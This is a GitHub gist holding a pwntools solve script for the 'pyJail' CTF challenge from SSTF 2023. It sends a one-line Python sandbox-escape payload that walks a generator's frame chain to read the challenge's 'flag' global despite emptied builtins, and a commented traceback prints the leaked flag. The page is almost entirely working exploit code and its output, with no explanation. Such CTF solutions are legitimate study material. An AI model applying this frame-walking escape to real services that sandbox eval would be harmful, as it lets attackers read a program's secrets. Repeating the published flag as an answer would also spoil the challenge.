Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active February 6, 2024 13:42
Show Gist options
  • Save lebr0nli/c2c0f42757f05813e3282c22114abe82 to your computer and use it in GitHub Desktop.
Save lebr0nli/c2c0f42757f05813e3282c22114abe82 to your computer and use it in GitHub Desktop.
SSTF 2023 - pyJail (Misc)
from pwn import *
HOST = "pyjail.sstf.site"
PORT = "9999"
def conn() -> tube:
if args.LOCAL:
return process(["python", "jail.py"])
return remote(HOST, PORT)
def main() -> None:
with conn() as io:
payload = """
[a:=[],g:=(g.gi_frame.f_back.f_back.f_globals['flag']for g in a),a.append(g),{}[g.send(None)]]
""".strip().encode()
print(len(payload))
io.sendlineafter(b"> ", payload)
io.interactive()
if __name__ == "__main__":
main()
# Traceback (most recent call last):
# File "/home/jail/jail.py", line 11, in <module>
# if flag == eval(code, {"__builtins__": {}}, {"__builtins__": {}}):
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# File "<string>", line 1, in <module>
# KeyError: 'SCTF{i_d0nt_w4nt_pyjail_anymore}\n'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment